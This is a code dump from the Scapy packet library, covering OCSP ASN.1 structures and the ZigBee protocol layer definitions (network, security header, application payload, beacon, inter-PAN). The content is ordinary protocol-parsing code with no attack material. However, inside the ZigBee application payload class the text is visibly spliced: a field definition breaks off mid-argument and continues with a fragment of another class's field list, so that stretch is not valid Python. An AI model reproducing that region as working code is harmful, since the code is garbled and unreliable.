2.2.2.7.13 _X509_ATTRIBUTE_TYPE["1.3.6.1.4.1.311.21.23"] = CMS_ContentInfo ############################# # OCSP Status packets # ############################# # based on RFC 6960 class OCSP_CertID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("hashAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_STRING("issuerNameHash", ""), ASN1F_STRING("issuerKeyHash", ""), ASN1F_INTEGER("serialNumber", 0)) class OCSP_GoodInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_NULL("info", 0) class OCSP_RevokedInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_GENERALIZED_TIME("revocationTime", ""), ASN1F_optional( ASN1F_PACKET("revocationReason", None, X509_ExtReasonCode, explicit_tag=0xa0))) class OCSP_UnknownInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_NULL("info", 0) class OCSP_CertStatus(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("certStatus", None, ASN1F_PACKET("good", OCSP_GoodInfo(), OCSP_GoodInfo, implicit_tag=0x80), ASN1F_PACKET("revoked", OCSP_RevokedInfo(), OCSP_RevokedInfo, implicit_tag=0xa1), ASN1F_PACKET("unknown", OCSP_UnknownInfo(), OCSP_UnknownInfo, implicit_tag=0x82)) class OCSP_SingleResponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("certID", OCSP_CertID(), OCSP_CertID), ASN1F_PACKET("certStatus", OCSP_CertStatus(certStatus=OCSP_GoodInfo()), OCSP_CertStatus), ASN1F_GENERALIZED_TIME("thisUpdate", ""), ASN1F_optional( ASN1F_GENERALIZED_TIME("nextUpdate", "", explicit_tag=0xa0)), ASN1F_optional( ASN1F_SEQUENCE_OF("singleExtensions", None, X509_Extension, explicit_tag=0xa1))) class OCSP_ByName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("byName", [], X509_RDN) class OCSP_ByKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING("byKey", "") class OCSP_ResponderID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("responderID", None, ASN1F_PACKET("byName", OCSP_ByName(), OCSP_ByName, explicit_tag=0xa1), ASN1F_PACKET("byKey", OCSP_ByKey(), OCSP_ByKey, explicit_tag=0xa2)) class OCSP_ResponseData(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_enum_INTEGER("version", 0, {0: "v1"}, explicit_tag=0x80)), ASN1F_PACKET("responderID", OCSP_ResponderID(responderID=OCSP_ByName()), OCSP_ResponderID), ASN1F_GENERALIZED_TIME("producedAt", str(GeneralizedTime())), ASN1F_SEQUENCE_OF("responses", [], OCSP_SingleResponse), ASN1F_optional( ASN1F_SEQUENCE_OF("responseExtensions", None, X509_Extension, explicit_tag=0xa1))) class ASN1F_OCSP_BasicResponse(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsResponseData", OCSP_ResponseData(), OCSP_ResponseData), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), MultipleTypeField( [ (ASN1F_BIT_STRING_ENCAPS("signature", ECDSASignature(), ECDSASignature), lambda pkt: "ecdsa" in pkt.signatureAlgorithm.algorithm.oidname.lower()), # noqa: E501 ], ASN1F_BIT_STRING("signature", "defaultsignature" * 2)), ASN1F_optional( ASN1F_SEQUENCE_OF("certs", None, X509_Cert, explicit_tag=0xa0))] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class OCSP_ResponseBytes(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("responseType", "1.3.6.1.5.5.7.48.1.1"), ASN1F_OCSP_BasicResponse(explicit_tag=0x04)) _responseStatus_mapping = ["successful", "malformedRequest", "internalError", "tryLater", "notUsed", "sigRequired", "unauthorized"] class OCSP_Response(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_ENUMERATED("responseStatus", 0, _responseStatus_mapping), ASN1F_optional( ASN1F_PACKET("responseBytes", None, OCSP_ResponseBytes, explicit_tag=0xa0))) ================================================ FILE: scapy/layers/zigbee.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Ryan Speers 2011-2012 # Copyright (C) Roger Meyer : 2012-03-10 Added frames # Copyright (C) Gabriel Potter : 2018 # Copyright (C) 2020-2021 Dimitrios-Georgios Akestoridis """ ZigBee bindings for IEEE 802.15.4. """ import struct from scapy.compat import orb from scapy.packet import bind_layers, bind_bottom_up, Packet from scapy.fields import BitField, ByteField, XLEIntField, ConditionalField, \ ByteEnumField, EnumField, BitEnumField, FieldListField, FlagsField, \ IntField, PacketListField, ShortField, StrField, StrFixedLenField, \ StrLenField, XLEShortField, XStrField from scapy.layers.dot15d4 import dot15d4AddressField, Dot15d4Beacon, Dot15d4, \ Dot15d4FCS from scapy.layers.inet import UDP from scapy.layers.ntp import TimeStampField # APS Profile Identifiers _aps_profile_identifiers = { 0x0000: "Zigbee_Device_Profile", 0x0101: "IPM_Industrial_Plant_Monitoring", 0x0104: "HA_Home_Automation", 0x0105: "CBA_Commercial_Building_Automation", 0x0107: "TA_Telecom_Applications", 0x0108: "HC_Health_Care", 0x0109: "SE_Smart_Energy_Profile", } # ZigBee Cluster Library Identifiers, Table 2.2 ZCL _zcl_cluster_identifier = { # Functional Domain: General 0x0000: "basic", 0x0001: "power_configuration", 0x0002: "device_temperature_configuration", 0x0003: "identify", 0x0004: "groups", 0x0005: "scenes", 0x0006: "on_off", 0x0007: "on_off_switch_configuration", 0x0008: "level_control", 0x0009: "alarms", 0x000a: "time", 0x000b: "rssi_location", 0x000c: "analog_input", 0x000d: "analog_output", 0x000e: "analog_value", 0x000f: "binary_input", 0x0010: "binary_output", 0x0011: "binary_value", 0x0012: "multistate_input", 0x0013: "multistate_output", 0x0014: "multistate_value", 0x0015: "commissioning", # 0x0016 - 0x00ff reserved # Functional Domain: Closures 0x0100: "shade_configuration", # 0x0101 - 0x01ff reserved # Functional Domain: HVAC 0x0200: "pump_configuration_and_control", 0x0201: "thermostat", 0x0202: "fan_control", 0x0203: "dehumidification_control", 0x0204: "thermostat_user_interface_configuration", # 0x0205 - 0x02ff reserved # Functional Domain: Lighting 0x0300: "color_control", 0x0301: "ballast_configuration", # Functional Domain: Measurement and sensing 0x0400: "illuminance_measurement", 0x0401: "illuminance_level_sensing", 0x0402: "temperature_measurement", 0x0403: "pressure_measurement", 0x0404: "flow_measurement", 0x0405: "relative_humidity_measurement", 0x0406: "occupancy_sensing", # Functional Domain: Security and safethy 0x0500: "ias_zone", 0x0501: "ias_ace", 0x0502: "ias_wd", # Functional Domain: Protocol Interfaces 0x0600: "generic_tunnel", 0x0601: "bacnet_protocol_tunnel", 0x0602: "analog_input_regular", 0x0603: "analog_input_extended", 0x0604: "analog_output_regular", 0x0605: "analog_output_extended", 0x0606: "analog_value_regular", 0x0607: "analog_value_extended", 0x0608: "binary_input_regular", 0x0609: "binary_input_extended", 0x060a: "binary_output_regular", 0x060b: "binary_output_extended", 0x060c: "binary_value_regular", 0x060d: "binary_value_extended", 0x060e: "multistate_input_regular", 0x060f: "multistate_input_extended", 0x0610: "multistate_output_regular", 0x0611: "multistate_output_extended", 0x0612: "multistate_value_regular", 0x0613: "multistate_value", # Smart Energy Profile Clusters 0x0700: "price", 0x0701: "demand_response_and_load_control", 0x0702: "metering", 0x0703: "messaging", 0x0704: "smart_energy_tunneling", 0x0705: "prepayment", # Functional Domain: General # Key Establishment 0x0800: "key_establishment", } # ZigBee Cluster Library, Table 2.8 ZCL Command Frames _zcl_command_frames = { 0x00: "read_attributes", 0x01: "read_attributes_response", 0x02: "write_attributes", 0x03: "write_attributes_undivided", 0x04: "write_attributes_response", 0x05: "write_attributes_no_response", 0x06: "configure_reporting", 0x07: "configure_reporting_response", 0x08: "read_reporting_configuration", 0x09: "read_reporting_configuration_response", 0x0a: "report_attributes", 0x0b: "default_response", 0x0c: "discover_attributes", 0x0d: "discover_attributes_response", 0x0e: "read_attributes_structured", 0x0f: "write_attributes_structured", 0x10: "write_attributes_structured_response", 0x11: "discover_commands_received", 0x12: "discover_commands_received_response", 0x13: "discover_commands_generated", 0x14: "discover_commands_generated_response", 0x15: "discover_attributes_extended", 0x16: "discover_attributes_extended_response", # 0x17 - 0xff Reserved } # ZigBee Cluster Library, Table 2.16 Enumerated Status Values _zcl_enumerated_status_values = { 0x00: "SUCCESS", 0x01: "FAILURE", # 0x02 - 0x7d Reserved 0x7e: "NOT_AUTHORIZED", 0x7f: "RESERVED_FIELD_NOT_ZERO", 0x80: "MALFORMED_COMMAND", 0x81: "UNSUP_CLUSTER_COMMAND", 0x82: "UNSUP_GENERAL_COMMAND", 0x83: "UNSUP_MANUF_CLUSTER_COMMAND", 0x84: "UNSUP_MANUF_GENERAL_COMMAND", 0x85: "INVALID_FIELD", 0x86: "UNSUPPORTED_ATTRIBUTE", 0x87: "INVALID_VALUE", 0x88: "READ_ONLY", 0x89: "INSUFFICIENT_SPACE", 0x8a: "DUPLICATE_EXISTS", 0x8b: "NOT_FOUND", 0x8c: "UNREPORTABLE_ATTRIBUTE", 0x8d: "INVALID_DATA_TYPE", 0x8e: "INVALID_SELECTOR", 0x8f: "WRITE_ONLY", 0x90: "INCONSISTENT_STARTUP_STATE", 0x91: "DEFINED_OUT_OF_BAND", 0x92: "INCONSISTENT", 0x93: "ACTION_DENIED", 0x94: "TIMEOUT", 0x95: "ABORT", 0x96: "INVALID_IMAGE", 0x97: "WAIT_FOR_DATA", 0x98: "NO_IMAGE_AVAILABLE", 0x99: "REQUIRE_MORE_IMAGE", 0x9a: "NOTIFICATION_PENDING", # 0x9b - 0xbf Reserved 0xc0: "HARDWARE_FAILURE", 0xc1: "SOFTWARE_FAILURE", 0xc2: "CALIBRATION_ERROR", 0xc3: "UNSUPPORTED_CLUSTER", # 0xc4 - 0xff Reserved } # ZigBee Cluster Library, Table 2.15 Data Types _zcl_attribute_data_types = { 0x00: "no_data", # General data 0x08: "8-bit_data", 0x09: "16-bit_data", 0x0a: "24-bit_data", 0x0b: "32-bit_data", 0x0c: "40-bit_data", 0x0d: "48-bit_data", 0x0e: "56-bit_data", 0x0f: "64-bit_data", # Logical 0x10: "boolean", # Bitmap 0x18: "8-bit_bitmap", 0x19: "16-bit_bitmap", 0x1a: "24-bit_bitmap", 0x1b: "32-bit_bitmap", 0x1c: "40-bit_bitmap", 0x1d: "48-bit_bitmap", 0x1e: "56-bit_bitmap", 0x1f: "64-bit_bitmap", # Unsigned integer 0x20: "Unsigned_8-bit_integer", 0x21: "Unsigned_16-bit_integer", 0x22: "Unsigned_24-bit_integer", 0x23: "Unsigned_32-bit_integer", 0x24: "Unsigned_40-bit_integer", 0x25: "Unsigned_48-bit_integer", 0x26: "Unsigned_56-bit_integer", 0x27: "Unsigned_64-bit_integer", # Signed integer 0x28: "Signed_8-bit_integer", 0x29: "Signed_16-bit_integer", 0x2a: "Signed_24-bit_integer", 0x2b: "Signed_32-bit_integer", 0x2c: "Signed_40-bit_integer", 0x2d: "Signed_48-bit_integer", 0x2e: "Signed_56-bit_integer", 0x2f: "Signed_64-bit_integer", # Enumeration 0x30: "8-bit_enumeration", 0x31: "16-bit_enumeration", # Floating point 0x38: "semi_precision", 0x39: "single_precision", 0x3a: "double_precision", # String 0x41: "octet-string", 0x42: "character_string", 0x43: "long_octet_string", 0x44: "long_character_string", # Ordered sequence 0x48: "array", 0x4c: "structure", # Collection 0x50: "set", 0x51: "bag", # Time 0xe0: "time_of_day", 0xe1: "date", 0xe2: "utc_time", # Identifier 0xe8: "cluster_id", 0xe9: "attribute_id", 0xea: "bacnet_oid", # Miscellaneous 0xf0: "ieee_address", 0xf1: "128-bit_security_key", # Unknown 0xff: "unknown", } # Zigbee Cluster Library, IAS Zone, Enroll Response Codes _zcl_ias_zone_enroll_response_codes = { 0x00: "Success", 0x01: "Not supported", 0x02: "No enroll permit", 0x03: "Too many zones", } # Zigbee Cluster Library, IAS Zone, Zone Types _zcl_ias_zone_zone_types = { 0x0000: "Standard CIE", 0x000d: "Motion sensor", 0x0015: "Contact switch", 0x0028: "Fire sensor", 0x002a: "Water sensor", 0x002b: "Carbon Monoxide (CO) sensor", 0x002c: "Personal emergency device", 0x002d: "Vibration/Movement sensor", 0x010f: "Remote Control", 0x0115: "Key fob", 0x021d: "Keypad", 0x0225: "Standard Warning Device", 0x0226: "Glass break sensor", 0x0229: "Security repeater", # 0x8000 - 0xfffe Manufacturer-specific types 0xffff: "Invalid Zone Type", } # ZigBee # class ZigbeeNWK(Packet): name = "Zigbee Network Layer" fields_desc = [ BitField("discover_route", 0, 2), BitField("proto_version", 2, 4), BitEnumField("frametype", 0, 2, {0: 'data', 1: 'command', 3: 'Inter-PAN'}), FlagsField("flags", 0, 8, ['multicast', 'security', 'source_route', 'extended_dst', 'extended_src', 'reserved1', 'reserved2', 'reserved3']), # noqa: E501 XLEShortField("destination", 0), XLEShortField("source", 0), ByteField("radius", 0), ByteField("seqnum", 1), # ConditionalField(XLongField("ext_dst", 0), lambda pkt:pkt.flags & 8), ConditionalField(dot15d4AddressField("ext_dst", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 8), # noqa: E501 ConditionalField(dot15d4AddressField("ext_src", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 16), # noqa: E501 ConditionalField(ByteField("relay_count", 1), lambda pkt:pkt.flags & 0x04), # noqa: E501 ConditionalField(ByteField("relay_index", 0), lambda pkt:pkt.flags & 0x04), # noqa: E501 ConditionalField(FieldListField("relays", [], XLEShortField("", 0x0000), count_from=lambda pkt:pkt.relay_count), lambda pkt:pkt.flags & 0x04), # noqa: E501 ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: frametype = ord(_pkt[:1]) & 3 if frametype == 3: return ZigbeeNWKStub return cls def guess_payload_class(self, payload): if self.flags.security: return ZigbeeSecurityHeader elif self.frametype == 0: return ZigbeeAppDataPayload elif self.frametype == 1: return ZigbeeNWKCommandPayload else: return Packet.guess_payload_class(self, payload) class LinkStatusEntry(Packet): name = "ZigBee Link Status Entry" fields_desc = [ # Neighbor network address (2 octets) XLEShortField("neighbor_network_address", 0x0000), # Link status (1 octet) BitField("reserved1", 0, 1), BitField("outgoing_cost", 0, 3), BitField("reserved2", 0, 1), BitField("incoming_cost", 0, 3), ] def extract_padding(self, p): return b"", p class ZigbeeNWKCommandPayload(Packet): name = "Zigbee Network Layer Command Payload" fields_desc = [ ByteEnumField("cmd_identifier", 1, { 1: "route request", 2: "route reply", 3: "network status", 4: "leave", 5: "route record", 6: "rejoin request", 7: "rejoin response", 8: "link status", 9: "network report", 10: "network update", 11: "end device timeout request", 12: "end device timeout response" # 0x0d - 0xff reserved }), # - Route Request Command - # # Command options (1 octet) ConditionalField(BitField("res1", 0, 1), lambda pkt: pkt.cmd_identifier in [1, 2]), ConditionalField(BitField("multicast", 0, 1), lambda pkt: pkt.cmd_identifier in [1, 2]), ConditionalField(BitField("dest_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 ConditionalField( BitEnumField("many_to_one", 0, 2, { 0: "not_m2one", 1: "m2one_support_rrt", 2: "m2one_no_support_rrt", 3: "reserved"} # noqa: E501 ), lambda pkt: pkt.cmd_identifier == 1), ConditionalField(BitField("res2", 0, 3), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 # - Route Reply Command - # # Command options (1 octet) ConditionalField(BitField("responder_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 ConditionalField(BitField("originator_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 ConditionalField(BitField("res3", 0, 4), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 # Route request identifier (1 octet) ConditionalField(ByteField("route_request_identifier", 0), lambda pkt: pkt.cmd_identifier in [1, 2]), # noqa: E501 # Originator address (2 octets) ConditionalField(XLEShortField("originator_address", 0x0000), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 # Responder address (2 octets) ConditionalField(XLEShortField("responder_address", 0x0000), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 # - Network Status Command - # # Status code (1 octet) ConditionalField(ByteEnumField("status_code", 0, { 0x00: "No route available", 0x01: "Tree link failure", 0x02: "Non-tree link failure", 0x03: "Low battery level", 0x04: "No routing capacity", 0x05: "No indirect capacity", 0x06: "Indirect transaction expiry", 0x07: "Target device unavailable", 0x08: "Target address unallocated", 0x09: "Parent link failure", 0x0a: "Validate route", 0x0b: "Source route failure", 0x0c: "Many-to-one route failure", 0x0d: "Address conflict", 0x0e: "Verify addresses", 0x0f: "PAN identifier update", 0x10: "Network address update", 0x11: "Bad frame counter", 0x12: "Bad key sequence number", # 0x13 - 0xff Reserved }), lambda pkt: pkt.cmd_identifier == 3), # Destination address (2 octets) ConditionalField(XLEShortField("destination_address", 0x0000), lambda pkt: pkt.cmd_identifier in [1, 3]), # Path cost (1 octet) ConditionalField(ByteField("path_cost", 0), lambda pkt: pkt.cmd_identifier in [1, 2]), # noqa: E501 # Destination IEEE Address (0/8 octets), only present when dest_addr_bit has a value of 1 # noqa: E501 ConditionalField(dot15d4AddressField("ext_dst", 0, adjust=lambda pkt, x: 8), # noqa: E501 lambda pkt: (pkt.cmd_identifier == 1 and pkt.dest_addr_bit == 1)), # noqa: E501 # Originator IEEE address (0/8 octets) ConditionalField(dot15d4AddressField("originator_addr", 0, adjust=lambda pkt, x: 8), # noqa: E501 lambda pkt: (pkt.cmd_identifier == 2 and pkt.originator_addr_bit == 1)), # noqa: E501 # Responder IEEE address (0/8 octets) ConditionalField(dot15d4AddressField("responder_addr", 0, adjust=lambda pkt, x: 8), # noqa: E501 lambda pkt: (pkt.cmd_identifier == 2 and pkt.responder_addr_bit == 1)), # noqa: E501 # - Leave Command - # # Command options (1 octet) # Bit 7: Remove children ConditionalField(BitField("remove_children", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 # Bit 6: Request ConditionalField(BitField("request", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 # Bit 5: Rejoin ConditionalField(BitField("rejoin", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 # Bit 0 - 4: Reserved ConditionalField(BitField("res4", 0, 5), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 # - Route Record Command - # # Relay count (1 octet) ConditionalField(ByteField("rr_relay_count", 0), lambda pkt: pkt.cmd_identifier == 5), # noqa: E501 # Relay list (variable in length) ConditionalField( FieldListField("rr_relay_list", [], XLEShortField("", 0x0000), count_from=lambda pkt:pkt.rr_relay_count), # noqa: E501 lambda pkt:pkt.cmd_identifier == 5), # - Rejoin Request Command - # # Capability Information (1 octet) ConditionalField(BitField("allocate_address", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Allocate Address # noqa: E501 ConditionalField(BitField("security_capability", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Security Capability # noqa: E501 ConditionalField(BitField("reserved2", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # bit 5 is reserved # noqa: E501 ConditionalField(BitField("reserved1", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # bit 4 is reserved # noqa: E501 ConditionalField(BitField("receiver_on_when_idle", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Receiver On When Idle # noqa: E501 ConditionalField(BitField("power_source", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Power Source # noqa: E501 ConditionalField(BitField("device_type", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Device Type # noqa: E501 ConditionalField(BitField("alternate_pan_coordinator", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Alternate PAN Coordinator # noqa: E501 # - Rejoin Response Command - # # Network address (2 octets) ConditionalField(XLEShortField("network_address", 0xFFFF), lambda pkt:pkt.cmd_identifier == 7), # noqa: E501 # Rejoin status (1 octet) ConditionalField(ByteField("rejoin_status", 0), lambda pkt:pkt.cmd_identifier == 7), # noqa: E501 # - Link Status Command - # # Command options (1 octet) ConditionalField(BitField("res5", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # Reserved # noqa: E501 ConditionalField(BitField("last_frame", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # Last frame # noqa: E501 ConditionalField(BitField("first_frame", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # First frame # noqa: E501 ConditionalField(BitField("entry_count", 0, 5), lambda pkt:pkt.cmd_identifier == 8), # Entry count # noqa: E501 # Link status list (variable size) ConditionalField( PacketListField("link_status_list", [], LinkStatusEntry, count_from=lambda pkt:pkt.entry_count), # noqa: E501 lambda pkt:pkt.cmd_identifier == 8), # - Network Report Command - # # Command options (1 octet) ConditionalField( BitEnumField("report_command_identifier", 0, 3, {0: "PAN identifier conflict"}), # 0x01 - 0x07 Reserved # noqa: E501 lambda pkt: pkt.cmd_identifier == 9), ConditionalField(BitField("report_information_count", 0, 5), lambda pkt: pkt.cmd_identifier == 9), # noqa: E501 # - Network Update Command - # # Command options (1 octet) ConditionalField( BitEnumField("update_command_identifier", 0, 3, {0: "PAN Identifier Update"}), # 0x01 - 0x07 Reserved # noqa: E501 lambda pkt: pkt.cmd_identifier == 10), ConditionalField(BitField("update_information_count", 0, 5), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 # EPID: Extended PAN ID (8 octets) ConditionalField( dot15d4AddressField("epid", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier in [9, 10] ), # Report information (variable length) # Only present if we have a PAN Identifier Conflict Report ConditionalField( FieldListField("PAN_ID_conflict_report", [], XLEShortField("", 0x0000), # noqa: E501 count_from=lambda pkt:pkt.report_information_count), lambda pkt:(pkt.cmd_identifier == 9 and pkt.report_command_identifier == 0) # noqa: E501 ), # Update Id (1 octet) ConditionalField(ByteField("update_id", 0), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 # Update Information (Variable) # Only present if we have a PAN Identifier Update # New PAN ID (2 octets) ConditionalField(XLEShortField("new_PAN_ID", 0x0000), lambda pkt: (pkt.cmd_identifier == 10 and pkt.update_command_identifier == 0)), # noqa: E501 # - End Device Timeout Request Command - # # Requested Timeout (1 octet) ConditionalField( ByteEnumField("req_timeout", 3, { 0: "10 seconds", 1: "2 minutes", 2: "4 minutes", 3: "8 minutes", 4: "16 minutes", 5: "32 minutes", 6: "64 minutes", 7: "128 minutes", 8: "256 minutes", 9: "512 minutes", 10: "1024 minutes", 11: "2048 minutes", 12: "4096 minutes", 13: "8192 minutes", 14: "16384 minutes" }), lambda pkt: pkt.cmd_identifier == 11), # End Device Configuration (1 octet) ConditionalField( ByteField("ed_conf", 0), lambda pkt: pkt.cmd_identifier == 11), # - End Device Timeout Response Command - # # Status (1 octet) ConditionalField( ByteEnumField("status", 0, { 0: "Success", 1: "Incorrect Value" }), lambda pkt: pkt.cmd_identifier == 12), # Parent Information (1 octet) ConditionalField( BitField("res6", 0, 6), lambda pkt: pkt.cmd_identifier == 12), ConditionalField( BitField("ed_timeout_req_keepalive", 0, 1), lambda pkt: pkt.cmd_identifier == 12), ConditionalField( BitField("mac_data_poll_keepalive", 0, 1), lambda pkt: pkt.cmd_identifier == 12) # StrField("data", ""), ] def util_mic_len(pkt): ''' Calculate the length of the attribute value field ''' if (pkt.nwk_seclevel == 0): # no encryption, no mic return 0 elif (pkt.nwk_seclevel == 1): # MIC-32 return 4 elif (pkt.nwk_seclevel == 2): # MIC-64 return 8 elif (pkt.nwk_seclevel == 3): # MIC-128 return 16 elif (pkt.nwk_seclevel == 4): # ENC return 0 elif (pkt.nwk_seclevel == 5): # ENC-MIC-32 return 4 elif (pkt.nwk_seclevel == 6): # ENC-MIC-64 return 8 elif (pkt.nwk_seclevel == 7): # ENC-MIC-128 return 16 else: return 0 class ZigbeeSecurityHeader(Packet): name = "Zigbee Security Header" fields_desc = [ # Security control (1 octet) FlagsField("reserved1", 0, 2, ['reserved1', 'reserved2']), BitField("extended_nonce", 1, 1), # set to 1 if the sender address field is present (source) # noqa: E501 # Key identifier BitEnumField("key_type", 1, 2, { 0: 'data_key', 1: 'network_key', 2: 'key_transport_key', 3: 'key_load_key' }), # Security level (3 bits) BitEnumField("nwk_seclevel", 0, 3, { 0: "None", 1: "MIC-32", 2: "MIC-64", 3: "MIC-128", 4: "ENC", 5: "ENC-MIC-32", 6: "ENC-MIC-64", 7: "ENC-MIC-128" }), # Frame counter (4 octets) XLEIntField("fc", 0), # provide frame freshness and prevent duplicate frames # noqa: E501 # Source address (0/8 octets) ConditionalField(dot15d4AddressField("source", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.extended_nonce), # noqa: E501 # Key sequence number (0/1 octet): only present when key identifier is 1 (network key) # noqa: E501 ConditionalField(ByteField("key_seqnum", 0), lambda pkt: pkt.getfieldval("key_type") == 1), # noqa: E501 # Payload # the length of the encrypted data is the payload length minus the MIC StrField("data", ""), # noqa: E501 # Message Integrity Code (0/variable in size), length depends on nwk_seclevel # noqa: E501 XStrField("mic", ""), ] def post_dissect(self, s): # Get the mic dissected correctly mic_length = util_mic_len(self) if mic_length > 0: # Slice "data" into "data + mic" _data, _mic = self.data[:-mic_length], self.data[-mic_length:] self.data, self.mic = _data, _mic return s class ZigbeeAppDataPayload(Packet): name = "Zigbee Application Layer Data Payload (General APS Frame Format)" fields_desc = [ # Frame control (1 octet) FlagsField("frame_control", 2, 4, ['ack_format', 'security', 'ack_req', 'extended_hdr']), BitEnumField("delivery_mode", 0, 2, {0: 'unicast', 1: 'indirect', 2: 'broadcast', 3: 'group_addressing'}), BitEnumField("aps_frametype", 0, 2, {0: 'data', 1: 'command', 2: 'ack'}), # Destination endpoint (0/1 octet) ConditionalField( ByteField("dst_endpoint", 10), lambda pkt: ((pkt.aps_frametype == 0 and pkt.delivery_mode in [0, 2]) or (pkt.aps_frametype == 2 and not pkt.frame_control.ack_format)) ), # Group address (0/2 octets) ConditionalField( XLEShortField("group_addr", 0x0000), lambda pkt: (pkt.aps_frametype == 0 and pkt.delivery_mode == 3) ), # Cluster identifier (0/2 octets) ConditionalField( # unsigned short (little-endian) XLEShortField("cluster", 0x0000), lambda pkt: ((pkt.aps_frametype == 0) or (pkt.aps_frametype == 2 and not pkt.frame_control.ack_format)) ), # Profile identifier (0/2 octets) ConditionalField( EnumField("profile", 0, _aps_profile_identifiers, fmt="= 10 and pkt.cmd_identifier <= 13)), # Tunnel Command ConditionalField( FlagsField("frame_control", 2, 4, [ "ack_format", "security", "ack_req", "extended_hdr" ]), lambda pkt: pkt.cmd_identifier == 14), ConditionalField( BitEnumField("delivery_mode", 0, 2, { 0: "unicast", 1: "indirect", 2: "broadcast", 3: "group_addressing" }), lambda pkt: pkt.cmd_identifier == 14), ConditionalField( BitEnumField("aps_frametype", 1, 2, { 0: "data", 1: "command", 2: "ack" }), lambda pkt: pkt.cmd_identifier == 14), ConditionalField( ByteField("counter", 0), lambda pkt: pkt.cmd_identifier == 14), # Verify-Key Command ConditionalField( StrFixedLenField("key_hash", None, 16), lambda pkt: pkt.cmd_identifier == 15), ] def guess_payload_class(self, payload): if self.cmd_identifier == 14: # Tunneled APS Auxiliary Header return ZigbeeSecurityHeader else: return Packet.guess_payload_class(self, payload) class ZigBeeBeacon(Packet): name = "ZigBee Beacon Payload" fields_desc = [ # Protocol ID (1 octet) ByteField("proto_id", 0), # nwkcProtocolVersion (4 bits) BitField("nwkc_protocol_version", 0, 4), # Stack profile (4 bits) BitField("stack_profile", 0, 4), # End device capacity (1 bit) BitField("end_device_capacity", 0, 1), # Device depth (4 bits) BitField("device_depth", 0, 4), # Router capacity (1 bit) BitField("router_capacity", 0, 1), # Reserved (2 bits) BitField("reserved", 0, 2), # Extended PAN ID (8 octets) dot15d4AddressField("extended_pan_id", 0, adjust=lambda pkt, x: 8), # Tx offset (3 bytes) # In ZigBee 2006 the Tx-Offset is optional, while in the 2007 and later versions, the Tx-Offset is a required value. # noqa: E501 BitField("tx_offset", 0, 24), # Update ID (1 octet) ByteField("update_id", 0), ] # Inter-PAN Transmission # class ZigbeeNWKStub(Packet): name = "Zigbee Network Layer for Inter-PAN Transmission" fields_desc = [ # NWK frame control BitField("res1", 0, 2), # remaining subfields shall have a value of 0 # noqa: E501 BitField("proto_version", 2, 4), BitField("frametype", 0b11, 2), # 0b11 (3) is a reserved frame type BitField("res2", 0, 8), # remaining subfields shall have a value of 0 # noqa: E501 ] def guess_payload_class(self, payload): if self.frametype == 0b11: return ZigbeeAppDataPayloadStub else: return Packet.guess_payload_class(self, payload) class ZigbeeAppDataPayloadStub(Packet): name = "Zigbee Application Layer Data Payload for Inter-PAN Transmission" fields_desc = [ FlagsField("frame_control", 0, 4, ['reserved1', 'security', 'ack_req', 'extended_hdr']), # noqa: E501 BitEnumField("delivery_mode", 0, 2, {0: 'unicast', 2: 'broadcast', 3: 'group'}), # noqa: E501 BitField("frametype", 3, 2), # value 0b11 (3) is a reserved frame type # Group Address present only when delivery mode field has a value of 0b11 (group delivery mode) # noqa: E501 ConditionalField( XLEShortField("group_addr", 0x0), # 16-bit 